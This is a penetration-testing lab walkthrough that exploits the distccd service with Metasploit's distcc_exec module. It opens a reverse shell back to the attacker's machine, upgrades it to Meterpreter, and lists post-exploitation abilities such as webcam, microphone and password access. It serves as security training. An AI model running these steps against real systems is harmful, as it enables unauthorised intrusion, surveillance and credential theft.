

DistCC Vulnerability

Background

Distcc is a tool for speeding up the compilation of source code by using distributed computing over a network. It can be used to compile programs quickly and configured to use multiple devices to aid in the compilation. For this vulnerability we are going to use Metasploit, which is a framework that vulnerabilities and exploits can be loaded from and executed within. It is good to know how to use Metasploit but more importantly is the understanding of how the 'backdoors' and 'exploits' work.

In this project we are going to exploit the victim machine using a payload that spawns a command shell using ruby on a vulnerable machine. The problem we have is the shell that is created is restricted in its permissions and we will need to be able to break out of it. By uploading an exploit and using distcc to compile the exploit quickly it can be executed which then calls back to our machine. From this point we can then control the box and change any configuration settings and services. Once we have access to a compromised box we can then do more network exploration using nmap and try and find any servers and other boxes to compromise.

Walkthrough

- Step 1:** Make sure your Kali image is up to date using **apt-get update**, **apt-get upgrade** and if required **apt-get full-upgrade**;
- Step 2:** Discover the IP address of the victim machine (use **nmap**, **netdiscover** etc to find this machine);
- Step 3:** Open a terminal (Terminal 1 – this will make sense later);
- Step 4:** Perform a detailed nmap scan on the victim machine (**nmap -sS -Pn -sC -A <target IP address>**) – This nmap scan can take a while, it's pretty detailed!;
- Step 5:** You need to find port **3632** that is the default port for **distccd**;
- Step 6:** Type **msfconsole**;

- Step 7:** Type **search distcc**;

```

msf > search distcc

Matching Modules
=====
Name                               Disclosure Date Rank  Check Description
-----
exploit/unix/misc/distcc_exec      2002-02-01      excellent Yes   DistCC Daemon Command Execution

```

Step 8: Type `use exploit/unix/misc/distcc_exec`;

Step 9: Type `show options`;

```

msf > use exploit/unix/misc/distcc_exec
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  ----      -
  RHOST     yes              yes       The target address
  RPORT     3632             yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

msf exploit(unix/misc/distcc_exec) >

```

Step 12: Type `set RHOST <target IP>`;

Step 13: Type `exploit`;

```

msf exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.213.129:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo vpetAotdFGRjduBy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "vpetaotdFGRjduBy\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.213.129:4444 -> 192.168.213.128:56076) at 2018-12-11 11:23:53 -0500

```

Step 14: The commands **hostname**, **ifconfig eth0** and **whoami** will be run automatically (we are running as **daemon**, we want **root**!);

Step 15: You will **not** have a command prompt after this has completed;

Step 16: Press Ctrl+Z and the press Y to background the session;

Step 17: Type `use post/multi/manage/shell_to_meterpreter`;

```

^Z
Background session 1? [y/N] y
msf exploit(unix/misc/distcc_exec) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) >

```

Step 18: Type `sessions -i` to see what current sessions are running and what their ID is;

Step 19: Type `set session 1`;

Step 20: Type `exploit`;

```
msf post(multi/manage/shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.213.129:4433
[*] Sending stage (861480 bytes) to 192.168.213.128
[*] Meterpreter session 2 opened (192.168.213.129:4433 -> 192.168.213.128:48015) at 2018-12-11 11:25:34 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) >
```

Step 21: Type sessions -i 2 to interact with the new meterpreter session that was created;

Step 22: Now we are running as a meterpreter shell there are a range of different commands that we can access;

```
msf post(multi/manage/shell_to_meterpreter) > session 2
[*] Unknown command: session.
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > ls
Listing: /tmp
=====
```

Step 23: Type help to see all the metepreter commands available to you;

```
File Edit View Search Terminal Help
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=====
Command Description
-----
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Stdapi: Mic Commands
=====
Command Description
-----
listen listen to a saved audio recording via audio player
mic_list List all microphone interfaces
mic_start start capturing an audio stream from the target mic
mic_stop stop capturing audio

Stdapi: Audio Output Commands
=====
Command Description
-----
play play an audio file on target system, nothing written on disk

meterpreter >
```

Step 24: Type machine_id to print the target machine ID, this is unique to the target;

Step 25: Type exit to close the meterpreter shell properly;

```
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.213.128 - Meterpreter session 2 closed. Reason: User exit
msf post(multi/manage/shell_to_meterpreter) >
```

Conclusion

In this attack we targeted the misconfigured distcc service to allow a shell to run on the target machine. In this attack we are running within the distcc service, which limits privileges. By changing to meterpreter shell provides more options and can elevate the account to root. This can allow admin privileges on the target device and provide access to webcams and microphones. There are other advantages of having a meterpreter shell, including being able to instantly download hashed passwords, browser history and sometimes if you are lucky, plaintext passwords for WiFi.
